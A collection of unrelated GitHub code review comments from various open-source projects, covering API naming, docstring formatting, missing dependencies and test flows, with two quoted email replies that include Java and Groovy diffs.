this description is wrong. You are returning an array of false (which seems really a weird API btw)
Widgets are now a separate module - In the mean time, a class_exists() for that would suffice in my view.
you should provide setters for them to be consistent with other filters
To make it valid + provide more valuable errors.

https://developer.mozilla.org/en/JavaScript/Strict_mode
Docstrings should be formatted using reST, which means opening a literal block uses two colons, `The "suites" section is optional::`
Add a one-line summary of the method's purpose; extended description (with format example) after.
Ahh, simplicity! ;-)
Presumably because they are already in the `version(CoreDdoc)` section.
Maybe getActiveCount/Size()? Just thinking of an antonym to "idle" :)
However, we probably need to create a new executor in doStart() because once an executor is shutdown, it's done.
If I'm reading this code correctly, there's never a case where the code is allowed to react to the changes, instead every time the role is restarted. Is this the correct intent here? If so, looks good.
Did you try to dump definitions for this class? I don't think the class definition is really needed as `Zend\Di` would probably discover the same values.
`django-pushserver` dependency is missing.
En este  ...
You are a hero :+1:  - now fixed, too
Мы не должны вызвать `mysql_thread_init();` перед этой строкой?
I was thinking that `@synopsis` would return the length of the array so it would end up looking like:

```
<pre>7</pre>
```

...but if it's producing the right output, you can ignore me. :)
good idea

On Thu, Aug 2, 2012 at 5:24 AM, Taylor Leese <
reply@reply.github.com
> wrote:

> > @@ -46,8 +47,15 @@
> >     * @param loggedInUser if a logged in user sent the request, their
> username is represented here
> >     * @param counter the number of requests this particular JVM instance
> has handled up until this request
> >     */
> > -  public ProcessedAPIRequest(MethodVerb verb, String url, String
> loggedInUser, Map<String, String> params,
> > -                             String appName, int apiVersion, String
> methodName, long counter) {
> > +  public ProcessedAPIRequest(MethodVerb verb,
> > +                             String url,
> > +                             String loggedInUser,
> > +                             Map<String, String> params,
> > +                             String body,
> > +                             String appName,
> > +                             int apiVersion,
> > +                             String methodName,
> > +                             long counter) {
>
> We should probably clean up the order of these params while we're at it.
> Something like url, verb, params, body, etc.
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/stackmob/stackmob-customcode-sdk/pull/3/files#r1292439
>
More of a warning that this particular existing test is using an incorrect flow that shouldn't be emulated in a production environment as it will leak unclaimed authorizations (which was a problem on our site for a while).  However I was hesitant to change or remove this test without being able to run it easily.  The test is using :capture_only when it should be using :prior_auth_capture
I don't disagree with what you say, but it is not consistent with the rest
of the code. I never said that prettyPrint(value, 0) was the right api.
This api lets you define how many spaces you want to indent (which like I
mentioned in a comment is a functionality you removed). I just would like
the name to be toCompactRepresentation to be consistent with the rest of
the code.

On Fri, Mar 9, 2012 at 9:41 AM, Zoran Simic <
reply@reply.github.com
> wrote:

> >   * @author ypujante@linkedin.com
> >   */
> >  class JsonUtils
> >  {
> > +  private static final jacksonMapper = newSortingMapper()
> > +
> > +  static ObjectMapper newSortingMapper()
> > +  {
> > +    def mapper = new ObjectMapper()
> > +    mapper.configure(SerializationConfig.Feature.WRITE_NULL_MAP_VALUES,
> false)
> > +    def sf = new SortingSerializerFactory()
> > +    sf.addGenericMapping(GString.class, ToStringSerializer.instance)
> > +    mapper.setSerializerFactory(sf)
> > +    return mapper
> > +  }
> > +
> >    /**
>
> JsonUtils.prettyPrint() wasn't used anywhere in the glu, linkedin-utils or
> linkedin-zookeeper code, so I thought renaming was OK. But I guess it could
> be used elsewhere, I'll restore the name.
>
> In my mind, actions are for (often stateful) procedures, while nouns are
> for (stateless) functions. I always find it odd when I see
> object.doSomething() return a value... :) That probably comes from the fact
> that I spent more than a decade working in Eiffel (where stateful functions
> are like a sin [stateful functions break Eiffel's 'command-query
> separation' principle...], and should never be verb-like or convey the idea
> of an action).
>
> I find it more natural that object.toCompactRepresentation() would perform
> some stateful action on the object, while object.compactRepresentation()
> would return something (while NOT modifying any state). 'prettyPrinted' was
> an attempt at noun-ifying the name... Perhaps I should have used
> 'prettyRepresentation()' instead, but that is apparently at odds with Java
> conventions :)
>
> Also, I prefer the clear intent of 'prettyPrint(value)' always return a
> pretty-printed representation (no ambiguity), rather than having:
> - prettyPrint(value, 2) return a pretty-printed representation
> - prettyPrint(value, 0) return a not-pretty-printed one (the name is then
> misleading here)
> - you get the benefit of being able to tell quickly what was meant by the
> code you're reading, and you can find callers more easily (you can search
> for one then the other, without having to keep track of what int was passed
> as 2nd argument, the int in question being dynamic at times...)
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/linkedin/linkedin-utils/pull/6/files#r538128
>
Disable reconnects, when the client is explicitly closed.
According to http://drupal.org/node/1354#inline, C++ style comments ("//") are preferred.
This doesn't need to be changed, please leave it as it is.
I've created [BVAL-316](https://hibernate.onjira.com/browse/BVAL-316) to re-visit the limitation non-static methods. IMO there is not really a need for this (I had added it originally to be aligned with plain bean validation).